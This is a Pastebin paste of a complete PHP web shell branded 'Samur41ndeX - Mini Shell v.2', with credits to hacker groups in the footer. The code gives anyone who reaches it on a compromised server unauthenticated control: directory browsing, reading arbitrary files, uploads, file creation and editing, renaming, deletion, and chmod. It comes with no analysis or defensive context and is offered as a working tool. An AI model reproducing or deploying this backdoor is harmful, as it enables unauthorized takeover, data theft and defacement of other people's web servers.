Advertisement
Guest User

Samur41ndeX - Mini Shell v.2

a guest
Apr 26th, 2018
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.69 KB | None | 0 0
  1. <?php
  2.  
  3. //===========================//
  4. // Copyright 2018 - Samur41ndeX//
  5. //===========================//
  6. // www.facebook.com/eiggadyts//
  7. //===========================//
  8. set_time_limit(0);
  9. error_reporting(0);
  10.  
  11. if(get_magic_quotes_gpc()){
  12. foreach($_POST as $key=>$value){
  13. $_POST[$key] = stripslashes($value);
  14. }
  15. }
  16. echo '<!doctype html>
  17. <html>
  18. <head>
  19. <title>Samur41ndeX</title>
  20. </head>';
  21.  
  22. ?>
  23.  
  24. <style>
  25. @font-face {
  26. font-family: 'Comic Sans MS';
  27. font-style: normal;
  28. font-weight: 400;
  29. src: local('Comic Sans MS'), local('ComicSansMS'), url(http://fonts.gstatic.com/l/font?kit=3oir0CAJ0QJ5h5-A3AP8rRSrmRvs-bRaaQbSAUyiv7A&skey=a4ba60ff9fc73cf8&v=v8) format('truetype');
  30. }
  31. body {
  32. background-position: center;
  33. background-color:#000000;
  34. height:100%;
  35. width:100%;
  36. background-attachment: fixed;
  37. background-size:100% 100%;
  38. background-image:url('https://jadiberita.com/wp-content/uploads/2015/10/melody-jkt48i-130817b-670x371.jpg');
  39. cursor: url(http://cur.cursors-4u.net/cursors/cur-9/cur862.ani), url(http://ap.imagensbrasil.org/images/2016/12/10/tumblr_nicnfhJ5KD1qmp6o4o1_400.png), progress !important;
  40. }
  41.  
  42. background: #000000;line-height: 1;color: #fff;font-family: Comic Sans MS ;
  43.  
  44. }
  45.  
  46. table, th, td {
  47. border-collapse:collapse;
  48. background: transparent;
  49. font-family: Comic Sans MS ;
  50. font-size: 13px;
  51. }
  52. input, textarea { font-family: Comic Sans MS ; }
  53. .table_home, .th_home, .td_home { color:grey;
  54. border: 1px solid grey;
  55. }
  56. th {
  57. padding: 10px;
  58. }
  59. .td_home { padding: 7px; }
  60. select {font-family: Comic Sans MS }
  61. a {color:pink}
  62. textarea { width: 100%;height: 400px; }
  63. </style>
  64. <?php
  65.  
  66. echo '</head>
  67. <body><b>
  68. <H1><center> <font color="pink">&lt;/&gt; <font color="pink">$ Samur41ndeX $ &lt;/&gt; </font></center></h1>
  69. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  70.  
  71. <tr><td>
  72.  
  73. <font color="pink"><center>'.php_uname().'</center></font><br>';
  74. if(isset($_GET['path'])){
  75. $path = $_GET['path'];
  76. }else{
  77. $path =
  78.  
  79.  
  80. getcwd();
  81.  
  82. }
  83. $path = str_replace('\\','/',$path);
  84. $paths = explode('/',$path);
  85.  
  86. foreach($paths as $id=>$pat){
  87. if($pat == '' && $id == 0){
  88. $a = true;
  89. echo '<font color="pink"><center>$ root@exilie : <a href="?path=/">/</a>';
  90. continue;
  91. }
  92. if($pat == '') continue;
  93. echo '<a href="?path=';
  94. for($i=0;$i<=$id;$i++){
  95. echo "$paths[$i]";
  96. if($i != $id) echo "/";
  97. }
  98. echo '">'.$pat.'</a>/';
  99. }
  100. echo '</font></center></td></tr><tr><td><center>';
  101. if(isset($_FILES['file'])){
  102. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  103. echo '<font color="green">File Upload</font><br />';
  104. }else{
  105. echo '<font color="red">Upload Failed !!</font><br />';
  106. }
  107. }
  108. echo '</center><center><form enctype="multipart/form-data" method="POST"><font color="black"><input style="background:silver;font-family: Comic Sans MS " type="file" name="file" />
  109. <input type="submit" value="Upload" />
  110. </form></center>
  111. </td></tr>';
  112. if(isset($_GET['filesrc'])){
  113. echo "<tr><td><center>Current File : ";
  114. echo $_GET['filesrc'];
  115. echo '</center></tr></td></table><br />';
  116. echo(' <textarea style="width: 100%;height: 400px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
  117. }
  118. //Empety
  119. elseif(isset($_GET['option']) && $_GET['opt'] != 'delete'){
  120. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  121. //Chmod
  122. if($_GET['opt'] == 'chmod'){
  123. if(isset($_POST['perm'])){
  124. if(chmod($_POST['path'],$_POST['perm'])){
  125. echo '<font color="green">Change Permission Done </font><br />';
  126. }else{
  127. echo '<font color="red">Change Permission Error </font><br />';
  128. }
  129. }
  130.  
  131. $hell = $_GET['path'];
  132. $yeah = $_GET['name'];
  133. $patc = "$hell/$yeah";
  134.  
  135. echo '<form method="POST">
  136. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($patc)), -4).'" />
  137. <input type="hidden" name="path" value="'.$_POST['path'].'">
  138. <input type="hidden" name="opt" value="chmod">
  139. <input type="submit" value="Go" />
  140. </form>';
  141. }
  142. //
  143. elseif($_GET['opt'] == 'btw'){
  144. $cwd = getcwd();
  145. echo '<form action="?option&path='.$cwd.'&opt=delete&type=buat" method="POST">
  146. New Name : <input name="name" type="text" size="20" value="Folder" />
  147. <input type="hidden" name="path" value="'.$cwd.'">
  148. <input type="hidden" name="opt" value="delete">
  149. <input type="submit" value="Go" />
  150. </form>';
  151. }
  152. //Rename file
  153. elseif($_GET['opt'] == 'rename'){
  154. if(isset($_POST['newname'])){
  155. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  156. echo '<font color="green">Change Name Done </font><br />';
  157. }else{
  158. echo '<font color="red">Change Name Error </font><br />';
  159. }
  160. $_POST['name'] = $_POST['newname'];
  161. }
  162. $hell = $_GET['path'];
  163. $yeah = $_GET['name'];
  164. $patc = "$hell/$yeah";
  165. $new = $_POST['newname'];
  166.  
  167. echo '<form method="POST">
  168. New Name : <input name="newname" type="text" size="20" value="'.$new.'" />
  169. <input type="hidden" name="path" value="'.$patc.'">
  170. <input type="hidden" name="opt" value="rename">
  171. <input type="submit" value="Go" />
  172. </form>';
  173. }
  174. //File baru
  175. elseif($_GET['opt'] == 'baru'){
  176.  
  177. $hell = $_GET['path'];
  178. $yeah = $_GET['name'];
  179. $patc = "$hell/$yeah";
  180. $new = $_POST['newname'];
  181. $azz = $_POST['path'];
  182. $newz = "$azz/$new";
  183.  
  184.  
  185. if(isset($_POST['src'])){
  186. $fp = fopen($_POST['path'],'w');
  187. if(fwrite($fp,$_POST['src'])){
  188. echo '<font color="green">Create File Done [ '.$new.' ]</font><br />';
  189. }else{
  190. echo '<font color="red">Create File Error</font><br />';
  191. }
  192. fclose($fp);
  193. }
  194.  
  195. echo '<form method="POST"> Name : <input name="ngaran1" type="text" size="20" value="'.$new.'" /><input type="submit" name="ngaran" value="Create"/></form><br> ';
  196.  
  197. $ho = $_POST['ngaran1'];
  198.  
  199. if(isset($_POST['ngaran'])){
  200. echo '<form method="POST">
  201. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
  202. <input type="hidden" name="path" value="'.$hell.'/'.$ho.'">
  203. <input type="hidden" name="opt" value="edit">
  204. <input type="submit" value="Go" />
  205. </form>';
  206. }
  207. }
  208. //Edited file
  209. elseif($_GET['opt'] == 'edit'){
  210. if(isset($_POST['src'])){
  211. $fp = fopen($_POST['path'],'w');
  212. if(fwrite($fp,$_POST['src'])){
  213. echo '<font color="green">Edit File Done </font><br />';
  214. }else{
  215. echo '<font color="red">Edit File Error </font><br />';
  216. }
  217. fclose($fp);
  218. }
  219. $hell = $_GET['path'];
  220. $yeah = $_GET['name'];
  221. $patc = "$hell/$yeah";
  222. echo '<form method="POST">
  223. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
  224. <input type="hidden" name="path" value="'.$patc.'">
  225. <input type="hidden" name="opt" value="edit">
  226. <input type="submit" value="Go" />
  227. </form>';
  228. }
  229. echo '</center>';
  230. }else{
  231. echo '</table><br /><center>';
  232. //Delete dir and file
  233. if(isset($_GET['option']) && $_GET['opt'] == 'delete'){
  234.  
  235. $hell = $_GET['path'];
  236. $yeah = $_GET['name'];
  237. $patc = "$hell/$yeah";
  238.  
  239. //Delete dir
  240. if($_GET['type'] == 'dir'){
  241.  
  242. if(rmdir($patc)){
  243. echo '<font color="green">Delete File Done</font><br />';
  244. }else{
  245. echo '<font color="red#">Delete File Error </font><br />';
  246. }
  247. }
  248. //buat folder
  249. if($_GET['type'] == 'buat'){
  250. $haaa = $_POST['path'];
  251. $heee = $_POST['name'];
  252. $hooo = "$haaa/$heee";
  253. $new = $haaa.'/'.htmlspecialchars($heee);
  254. if(!mkdir($new)){
  255. echo '<font color="red">Create Folder Error</font><br />';
  256. }else{
  257. echo '<font color="green">Create Folder Done </font><br />';
  258. }
  259. }
  260. //Delete file
  261. elseif($_GET['type'] == 'file'){
  262.  
  263. $hell = $_GET['path'];
  264. $yeah = $_GET['name'];
  265. $patc = "$hell/$yeah";
  266.  
  267. if(unlink($patc)){
  268. echo '<font color="green">Delete File Done</font><br />';
  269. }else{
  270. echo '<font color="red#">Delete File Error </font><br />';
  271. }
  272. }
  273. }
  274. echo '</center>';
  275. $scandir = scandir($path);
  276. $pa = getcwd();
  277. echo ' <table width="100%" color="white" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  278. <tr>
  279. <th class=th_home style="background:pink;color:black;"><center>Name</center></th>
  280. <th class=th_home style="background:pink;color:black;" ><center>Size</center></th>
  281. <th class=th_home style="background:pink;color:black;" ><center>Perm</center></th>
  282. <th class=th_home style="background:pink;color:black;" ><center>Options</center></th>
  283. </tr> <tr>
  284. <td class=td_home>..</td><td class=td_home align=center>NONE</td> <td class=td_home align=center>LINK</td> <td class=td_home align=center> <a href="?option&path='.$pa.'&opt=baru&name=new.php">+ New File</a> | <a href="?option&path='.$pa.'&opt=btw&type=dir">+ New Dir</a> </td></tr>
  285. ';
  286.  
  287. foreach($scandir as $dir){
  288. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  289. echo "
  290. <tr>
  291. <td class=td_home> <img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='> <a href=\"?path=$path/$dir\">$dir</a></td>
  292. <td class=td_home ><center>DIR</center></td>
  293. <td class=td_home ><center>";
  294. if(is_writable("$path/$dir")) echo '<font color="white">';
  295. elseif(!is_readable("$path/$dir")) echo '<font color="pink">';
  296. echo perms("$path/$dir");
  297. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  298.  
  299. echo "</center></td>
  300. <td class=td_home ><center>
  301. <a href=\"?option&path=$path&opt=rename&type=dir&name=$dir\">Rename</a> <a href=\"?option&path=$path&opt=delete&type=dir&name=$dir\">Delete</a> <a href=\"?option&path=$path&opt=chmod&type=dir&name=$dir\">Chmod</a>
  302.  
  303. </center></td>
  304. </tr>";
  305. }
  306. echo '<br>';
  307. foreach($scandir as $file){
  308. if(!is_file("$path/$file")) continue;
  309. $size = filesize("$path/$file")/1024;
  310. $size = round($size,3);
  311. if($size >= 1024){
  312. $size = round($size/1024,2).' MB';
  313. }else{
  314. $size = $size.' KB';
  315. }
  316.  
  317. echo "<tr>
  318. <td class=td_home > <img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='> <a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  319. <td class=td_home><center>".$size."</center></td>
  320. <td class=td_home><center>";
  321. if(is_writable("$path/$file")) echo '<font color="white">';
  322. elseif(!is_readable("$path/$file")) echo '<font color="pink">';
  323. echo perms("$path/$file");
  324. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  325. echo "</center></td>
  326. <td class=td_home><center>
  327. <a href=\"?option&path=$path&opt=edit&type=file&name=$file\">Edit</a> <a href=\"?option&path=$path&opt=rename&type=file&name=$file&path=$path\">Rename</a> <a href=\"?option&path=$path&opt=delete&type=file&name=$file\">Delete</a> <a href=\"?option&path=$path&opt=chmod&type=file&name=$file\">Chmod</a>
  328. </center></td>
  329. </tr>";
  330. }
  331. echo '</table>
  332. </div>';
  333. }
  334. echo '<br><center><font color="pink">&lt;/&gt; Exilie - D4RK FR1END5 - Hallucination Cyber - OST Cyber &lt;/&gt;<br>[SKILL 1%] [BACOT 98%] [COLI 1%]<br>&lt;/&gt; Samur41ndeX &lt;/&gt;</b></body>
  335. </html>';
  336. function perms($file){
  337. $perms = fileperms($file);
  338.  
  339. if (($perms & 0xC000) == 0xC000) {
  340. // Socket
  341. $info = 's';
  342. } elseif (($perms & 0xA000) == 0xA000) {
  343. // Symbolic Link
  344. $info = 'l';
  345. } elseif (($perms & 0x8000) == 0x8000) {
  346. // Regular
  347. $info = '-';
  348. } elseif (($perms & 0x6000) == 0x6000) {
  349. // Block special
  350. $info = 'b';
  351. } elseif (($perms & 0x4000) == 0x4000) {
  352. // Directory
  353. $info = 'd';
  354. } elseif (($perms & 0x2000) == 0x2000) {
  355. // Character special
  356. $info = 'c';
  357. } elseif (($perms & 0x1000) == 0x1000) {
  358. // FIFO pipe
  359. $info = 'p';
  360. } else {
  361. // Unknown
  362. $info = 'u';
  363. }
  364.  
  365. // Owner
  366. $info .= (($perms & 0x0100) ? 'r' : '-');
  367. $info .= (($perms & 0x0080) ? 'w' : '-');
  368. $info .= (($perms & 0x0040) ?
  369. (($perms & 0x0800) ? 's' : 'x' ) :
  370. (($perms & 0x0800) ? 'S' : '-'));
  371.  
  372. // Group
  373. $info .= (($perms & 0x0020) ? 'r' : '-');
  374. $info .= (($perms & 0x0010) ? 'w' : '-');
  375. $info .= (($perms & 0x0008) ?
  376. (($perms & 0x0400) ? 's' : 'x' ) :
  377. (($perms & 0x0400) ? 'S' : '-'));
  378.  
  379. // World
  380. $info .= (($perms & 0x0004) ? 'r' : '-');
  381. $info .= (($perms & 0x0002) ? 'w' : '-');
  382. $info .= (($perms & 0x0001) ?
  383. (($perms & 0x0200) ? 't' : 'x' ) :
  384. (($perms & 0x0200) ? 'T' : '-'));
  385.  
  386. return $info;
  387. }
  388.  
  389. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement